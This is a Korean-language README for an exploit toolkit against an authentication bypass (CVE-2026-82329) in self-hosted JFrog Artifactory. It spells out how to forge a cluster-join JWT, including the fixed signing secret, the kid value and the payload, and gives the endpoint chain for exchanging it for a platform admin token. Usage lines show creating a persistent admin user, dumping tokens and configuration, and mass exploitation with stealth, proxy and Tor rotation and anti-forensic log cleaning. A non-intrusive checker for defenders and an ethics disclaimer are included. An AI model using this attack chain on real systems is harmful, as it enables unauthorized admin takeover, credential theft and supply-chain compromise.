
CVE-2026-82329(JFrog Artifactory 인증 우회)에 대한 익스플로잇 및 탐지 툴킷. join JWT를 위조하여 관리자 토큰을 발급하며, 비침투적 버전 검사기를 포함한다.

윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사 법률에 따라 불법입니다.
CVE‑2026‑82329는 자체 호스팅 JFrog Artifactory(버전 7.111.x부터 7.161.x까지)의 치명적인 인증 우회 취약점으로, 인증되지 않은 공격자가 JFrog Access 클러스터 조인 메커니즘을 악용하여 전체 플랫폼 관리자 토큰을 획득할 수 있게 합니다.
32 * 0x20(공백)입니다.kid = SHA256("")를 위조합니다.POST /access/api/v1/registry/join이 인증 없이 scp=admin이 포함된 SERVICE 토큰을 반환합니다.scope=applied-permissions/admin&audience=*와 함께 POST /access/api/v1/tokens를 호출하면 전체 플랫폼 관리자 토큰이 발급됩니다.| 도구 | 목적 | 대상 사용자 |
|---|---|---|
exploit.py | JWT 위조, 관리자 토큰 교환, 관리자 사용자 생성, 대량 스캔, 스텔스 모드, 프록시 로테이션, 대화형 메뉴, 전체 공격 체인을 갖춘 완전한 무기화 툴킷. | 레드팀 / 승인된 침투 테스터 |
safechecker.py | Artifactory 버전을 탐지하고, 노출을 검증하며, 토큰을 획득하거나 페이로드를 실행하지 않고 위험을 평가하는 비침투적 취약점 검사기. JSON 보고서를 생성합니다. | 블루팀 / 보안 감사자 |
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requests
urllib3
curl_cffi
exploit.py 매개변수safechecker.py 매개변수익스플로잇은 다음 JFrog 엔드포인트와 익스플로잇 단계를 사용합니다:
# 위조된 조인 JWT 구조
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# 서명 비밀
secret = b"\x20" * 32
# 관리자 토큰 요청
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| 기능 | exploit.py | safechecker.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| 버전 탐지 | ✅ | ✅ |
| 위조된 조인 JWT | ✅ | ❌ |
| 서비스 토큰 발급 | ✅ | ❌ |
| 관리자 토큰 교환 | ✅ | ❌ |
| 관리자 사용자 생성 | ✅ | ❌ |
| 저장소 목록 조회 | ✅ | ❌ |
| 사용자 목록 조회 | ✅ | ❌ |
| 구성 덤프 | ✅ | ❌ |
| 토큰 덤프 | ✅ | ❌ |
| 전체 공격 체인 | ✅ | ❌ |
| 대화형 메뉴 | ✅ | ❌ |
| 대량 스캔(멀티스레드) | ✅ | ✅ |
| 프록시 지원 | ✅ | ✅ |
| 프록시 로테이션 | ✅ | ❌ |
| Tor 지원(익명성) | ✅ | ❌ |
| User‑Agent 로테이션(OPSEC) | ✅ | ❌ |
| 지터(OPSEC) | ✅ | ❌ |
| 적응형 속도 제한기 | ✅ | ❌ |
| 비침투적(안전) 모드 | ❌ | ✅ |
| 버전 보고서 | ✅ | ✅ |
| 익명 접근 확인 | ❌ | ✅ |
| JSON 보고서 | ✅ | ✅ |
| 로그 정리(안티 포렌식) | ✅ | ❌ |
| 사용자 정의 User‑Agent | ✅ | ✅ |
| SSL 검증 제어 | ✅ | ✅ |
| 시나리오 | 권장 도구 |
|---|
| 블루팀 – Artifactory가 취약한지 확인 | safechecker.py |
| 보안 감사 – 비침투적 취약점 평가 | safechecker.py |
| 레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | safechecker.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지만) |
| 사고 대응 – 시스템이 침해되었는지 확인 | safechecker.py |
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 Artifactory URL (예: http://artifactory.example.com:8082) |
-f, --file | 대량 스캔을 위한 대상 목록이 포함된 파일(한 줄에 하나씩) |
--create-admin | 지속적인 관리자 사용자 생성(형식: USER:PASS) |
--keep-admin | 생성된 관리자 사용자 유지(스캔 후 정리하지 않음) |
--token-only | 관리자 토큰만 출력(단일 대상) |
--interactive | 익스플로잇 후 대화형 메뉴 |
--service-id | 조인 JWT용 서비스 ID(기본값: jfrt@01) |
-t, --threads | 다중 대상용 스레드 수(기본값: 10) |
--timeout | 요청 타임아웃(기본값: 25초) |
--retry | 최대 재시도 횟수(기본값: 3) |
--proxy | HTTP/HTTPS 프록시(예: http://127.0.0.1:8080) |
--proxy-list | 로테이션용 프록시가 포함된 파일(한 줄에 하나씩) |
--jitter | 요청 간 무작위 지터(0‑2초) |
--stealth | 스텔스 모드 활성화(UA 로테이션 + X‑Forwarded‑For) |
--curl-cffi | TLS 지문 위장을 위해 curl_cffi 사용 |
--full | 전체 공격: 모든 모듈 |
--dump-config | 시스템 구성 덤프 |
--dump-tokens | 모든 액세스 토큰 덤프 |
--list-repos | 저장소 목록 조회 |
--list-users | 사용자 목록 조회 |
--detect | 탐지만(관리자 토큰 교환 없음) |
--exploit | 전체 익스플로잇 수행 |
-o, --output | JSON 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
-q, --quiet | 조용한 모드 |
| 매개변수 | 설명 |
|---|
-u, --url | 단일 대상 Artifactory URL (예: http://artifactory.example.com:8082) |
-f, --file | 대상 목록이 포함된 파일(한 줄에 하나씩) |
-t, --threads | 다중 대상용 스레드 수(기본값: 5) |
--timeout | 요청 타임아웃(기본값: 10초) |
-v, --verbose | 상세 출력 |
-o, --output | JSON 보고서를 파일로 저장 |
| # | 시나리오 | 명령 |
|---|
| 1 | 빠른 취약점 확인 | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | 보고서를 포함한 상세 스캔 | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | 파일에서 대량 감사 | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | 탐지만 하는 익스플로잇 | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | 관리자 토큰만 획득 | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | 대화형 메뉴를 포함한 전체 공격 | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | 지속적인 관리자 사용자 생성 | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | 구성 덤프 | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | 저장소 및 사용자 목록 조회 | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | 스텔스를 포함한 대량 익스플로잇 | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | Tor를 사용한 프록시 로테이션 | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
| 단계 | 메서드 | 엔드포인트 | 설명 |
|---|
| 1. 조인 | POST | /access/api/v1/registry/join | 위조된 HS256 JWT → SERVICE 토큰(scp=admin) |
| 2. 교환 | POST | /access/api/v1/tokens | SERVICE 토큰 → 플랫폼 관리자 토큰 |
| 3. 증명 | GET | /artifactory/api/system/configuration | 관리자 전용 접근 증명 |
| 4. 지속 | PUT | /artifactory/api/security/users/{user} | 지속적인 관리자 사용자 생성 |
| 5. 폐기 | DELETE | /access/api/v1/tokens/{id} | 생성된 토큰 정리 |